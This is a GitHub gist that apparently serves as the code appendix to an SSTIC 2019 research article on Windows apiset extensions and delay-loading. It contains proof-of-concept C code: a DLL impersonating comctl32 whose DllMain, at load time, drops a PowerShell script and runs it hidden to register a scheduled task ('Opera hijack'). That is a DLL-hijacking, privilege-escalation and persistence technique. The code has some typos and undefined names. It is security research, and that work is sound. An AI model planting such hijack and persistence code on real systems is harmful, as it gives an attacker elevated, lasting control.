Skip to content

Instantly share code, notes, and snippets.

@lucasg
Created March 27, 2019 23:51
Show Gist options
  • Save lucasg/f3168c24615a9852963ae6c762a65926 to your computer and use it in GitHub Desktop.
Save lucasg/f3168c24615a9852963ae6c762a65926 to your computer and use it in GitHub Desktop.
SSTIC 2019 article appendix
// ApisetExtension.h
#pragma once
typedef struct _API_SET_EXTENSION {
API_SET_NAMESPACE Namespace;
API_SET_NAMESPACE_ENTRY Entry;
API_SET_VALUE_ENTRY ValueEntry;
} API_SET_EXTENSION, *PAPI_SET_EXTENSION;
typedef struct _API_SET_NAMES {
wchar_t ApisetName[0x40];
wchar_t HostName[0x40];
} API_SET_NAMES, *PAPI_SET_NAMES;-
typedef struct _API_SET_SECTION
{
API_SET_EXTENSION Extension;
API_SET_NAMES Names;
API_SET_HASH_ENTRY HashTable[];
} API_SET_SECTION, *PAPI_SET_SECTION;
// pragma command to put the extension in the .apiset section
#pragma section(".apiset", read, write)
extern __declspec(allocate(".apiset")) const API_SET_SECTION ApisetSection;
// ApisetExtension.c
#include "ApisetExtension.h"
#define HOST_DLL (L"grosminet.dll")
#define APISET_DLL (L"titi")
const wchar_t HostName[] = HOST_DLL;
const wchar_t ApisetName[] = APISET_DLL;
const API_SET_SECTION ApisetSection = {
.Extension = {
.Namespace = {
.Version = 5,
.Flags = 0x0,
.Size = siezof(API_SET_SECTION),
.Count = 0x1,
.EntryOffset = FIELD_OFFSET(API_SET_EXTENSION, Entry),
.HashOffset = sizeof(API_SET_EXTENSION) + sizeof(API_SET_NAMES),
.HashFactor = 0
},
.Entry = {
.Flags = 1,
.NameOffset = sizeof(API_SET_EXTENSION) + FIELD_OFFSET(API_SET_NAMES, HostName),
.NameLength = sizeof(HOST_DLL),
.HashedLength = sizeof(APISET_DLL) - 2*sizeof(wchar_t),
.ValueOffset = FIELD_OFFSET(API_SET_EXTENSION, ValueEntry),
.ValueCount = 1
},
.ValueEntry = {
.Flags = 0x00,
.NameOffset = sizeof(API_SET_EXTENSION) + FIELD_OFFSET(API_SET_NAMES, ApisetName),
.NameLength = sizeof(APISET_DLL),
.ValueOffset = sizeof(API_SET_EXTENSION) + FIELD_OFFSET(API_SET_NAMES, ApisetName),
.ValueLength = sizeof(APISET_DLL) - 2 * sizeof(wchar_t),
}
},
.Names = {
.ApisetName = APISET_DLL,
.HostName = HOST_DLL
},
.HashTable = {
[0] = {
.Hash = 0x00,
.Index = 0x00
}
}
};
#include <stdio.h>
// Needed to mock the original comctl32.dll
__declspec(dllexport) BOOL InitCommonControlsEx(void *picce)
{
return FALSE;
}
const char* message = "Hello from NT AUTHORITY\\SYSTEM !";
const char* ScheduledTaskScript = \
"$action = New-ScheduledTaskAction -Execute \"C:\\Windows\\System32\\notepad.exe\" -Argument \"C:\\Windows\\TEMP\\message.txt\";\n" \
"$trigger = New-ScheduledTaskTrigger -AtLogOn -User user;\n" \
"$principal = New-ScheduledTaskPrincipal \"WINDEV1810EVAL\\user\" -RunLevel Highest;\n" \
"$settings = New-ScheduledTaskSettingsSet;\n" \
"$task = New-ScheduledTask -Action $action -Trigger $trigger -Principal $principal -Settings $settings;\n" \
"Register-ScheduledTask \"Opera hijack\" -InputObject $task;\n" \
"Start-ScheduledTask -TaskName \"Opera hijack\";\n";
void DropFile(const char*buffer, const wchar_t *filepath)
{
DWORD BytesWritten;
HANDLE hFile = CreateFile(
filepath,
GENERIC_WRITE | GENERIC_READ,
0,
NULL,
CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
NULL
);
if (hFile == INVALID_HANDLE_VALUE)
return;
WriteFile(
hFile,
buffer,
strlen(buffer),
&BytesWritten,
NULL
);
CloseHandle(hFile);
}
void PopNotepad()
{
PROCESS_INFORMATION pi = { 0 };
STARTUPINFO si = { 0 };
si.cb = sizeof(si);
WCHAR* lpCommandLine[0x100] = { 0 };
DropFile(ScheduledTaskScript, L"C:\\Windows\\TEMP\\script.ps1");
DropFile(message, L"C:\\Windows\\TEMP\\message.txt");
const WCHAR* CommandLine = L"C:\\Windows\\System32\\cmd.exe /c \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -File C:\\Windows\\TEMP\\script.ps1\"";
memcpy(lpCommandLine, CommandLine, wcslen(CommandLine) * sizeof(wchar_t));
CreateProcess(
NULL,
(LPWSTR)lpCommandLine,
NULL,
NULL,
FALSE,
DETACHED_PROCESS | CREATE_NO_WINDOW,
NULL,
NULL,
&si,
&pi
);
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
// There is a timeout on DLL init, so no blocking calls here
CreateThread(NULL, 0, PopNotepad, NULL, 0, NULL);
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
int __fastcall _delayLoadHelper(
IMAGE_DELAYLOAD_DESCRIPTOR *Descriptor,
void **IatApiAddress
)
{
char * DllName = &_ImageBase + Descriptor->DllNameRVA;
HMODULE * DllHandle = &_ImageBase + Descriptor->ModuleHandleRVA;
VOID ** Iat =&_ImageBase + Descriptor->ImportAddressTableRVA;
char ** IatNames = &_ImageBase + Descriptor->ImportNameTableRVA;
BOOL __is_not_delay_load = (Descriptor->AllAttributes & 1) == 0;
_make_iat_writable();
// Initial check to see if the delayload descriptor
// is compatible with this stub.
if ( __is_not_delay_load )
{
_restore_iat_prot();
RaiseException(0xC06D0057, 0, 1u, &Arguments);
return 0;
}
// Load the dependency via LoadLibrary
HMODULE hLoadedDll = *DllHandle;
if ( !hLoadedDll )
{
hLoadedDll = LoadLibraryExA(DllName, 0, 0);
if ( !hLoadedDll )
{
_restore_iat_prot();
RaiseException(
0xC06D007E,
0,
1u,
(const ULONG_PTR *)&GetLastError()
);
return 0;
}
}
DWORD lfanew = ((IMAGE_DOS_HEADER*)hLoadedDll)->e_lfanew;
IMAGE_NT_HEADER* NtHeaders = (IMAGE_NT_HEADER*)hLoadedDll + lfanew;
if ( NtHeaders->Magic != "PE" ||
NtHeaders->Timestamp != Descriptor->TimeDateStamp ||
NtHeaders->OptionalHeader.ImageBase != hLoadedDll
) {
_restore_iat_prot();
return 0;
}
// Resolve the API
void *ResolvedProc = GetProcAddress(hLoadedDll, lpProcName);
if ( !ResolvedProc )
{
_restore_iat_prot();
RaiseException(
0xC06D007F,
0,
1u,
(const ULONG_PTR *)&GetLastError()
);
return 0;
}
*IatApiAddress = ResolvedProc;
_restore_iat_prot();
return ResolvedProc;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment